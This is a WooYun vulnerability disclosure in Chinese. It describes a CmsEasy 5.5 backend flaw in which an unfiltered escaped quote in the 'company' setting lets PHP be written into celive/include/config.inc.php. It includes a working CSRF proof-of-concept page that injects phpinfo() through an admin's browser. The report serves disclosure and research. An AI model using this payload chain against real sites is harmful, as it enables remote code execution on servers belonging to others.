当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074941

漏洞标题：cmseasy 后台缓存配置文件未过滤一个字符导致getshell

相关厂商：cmseasy

漏洞作者： menmen519

提交时间：2014-09-04 12:08

修复时间：2014-12-03 12:10

公开时间：2014-12-03 12:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-04： 细节已通知厂商并且等待厂商处理中
2014-09-05： 厂商已经确认，细节仅向厂商公开
2014-09-08： 细节向第三方安全合作伙伴开放
2014-10-30： 细节向核心白帽子及相关领域专家公开
2014-11-09： 细节向普通白帽子公开
2014-11-19： 细节向实习白帽子公开
2014-12-03： 细节向公众公开

简要描述：

cmseasy 管理员身份 后台缓存配置文件，没有过滤一个字符导致getshell

详细说明：

啥都不说了 直接看代码：
我们直接到

10.png


然后我们分析一下代码:
system.php:(lines:67):

if(addslashes($_POST['customer_info']))
			{
				$customer_info='true';
			}else{
				$customer_info='false';
			}
            $GLOBALS['celsysteminfo']->conf(addslashes($_POST['url']), addslashes($_POST['template']), addslashes($_POST['company']),addslashes($_POST['companyinfos']), addslashes($_POST['language']), $customer_info, addslashes($_POST['tracker_refresh']));
            //提交修改后，需自动刷新一次，才能显示修改的内容
            echo "<script>window.history.go(-1);</script>";
        }


我们跟进到$GLOBALS['celsysteminfo']->conf
这个函数看看，在这里之前他进行了addslashes，分析一下，如果我们提交的一个值为aaa\' 转义之后就是aaa\\\' 那么我们进入：
system.class.php:(14):

$this->file = preg_replace("/\['company'\] = '.*';/",'[\'company\'] = \''.$company.'\';',$this->file);


这句正则表达式是有问题的 ，这里的this->file 就是我们的配置文件的内容，此文件位于
celive/include/config.inc.php
意思就是把这里面company里面的值替换掉，然后后面这个'[\'company\'] = \''.$company.'\'; 相加之后其中\\\'会变成\\'故而产生漏洞，我们构造请求如下：

9.png


发送一次看看这个文件有什么变化:

11.png


我们在测试一下这里是否存在csrf，我们构造一个页面：

<html>
  <body>
    <script>
	   function csrf_sql(){
			var xhr = new XMLHttpRequest();
			xhr.open("POST", "http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/celive/admin/system.php?action=systeminfo", true);
			xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
			xhr.withCredentials = "true";
			var body='url=http%3A%2F%2F192.168.10.70%2FCmsEasy_5.5_UTF-8_20140818%2Fuploads%2Fcelive&company=sdssdadd%5C%27%3Bphpinfo%28%29%3B%2f%2f&customer_info=0&tracker_refresh=5000&template=default&language=chinese.php&systeminfo=systeminfo&submit=%E7%A1%AE%E8%AE%A4';
			var aBody = new Uint8Array(body.length);
			for (var i = 0; i < aBody.length; i++)
			  aBody[i] = body.charCodeAt(i);
			xhr.send(new Blob([aBody]));
	   }
	 
	csrf_sql();
    </script>
  </body>
</html>


我们放到另一台机器上去，然后发给管理员，管理员触发之后：

12.png


成功发送，下来我们这里访问一下刚才那个配置文件

13.png


ok 这里没有给出csrf 诱惑管理员的方法，想必上一个sql来说，这个稍微弱一些，但是这个不需要数据库权限，故而还是挺严重的

漏洞证明：

修复方案：

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-09-05 13:08

厂商回复：

祝节日快乐

最新状态：

暂无

漏洞评价：

评论

  1. 2014-09-04 13:10 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    哥 我就知道你的沙发一定是我

  2. 2014-09-24 11:29 | Stefanie ( 实习白帽子 | Rank:75 漏洞数:9 | 暂无)

    服了。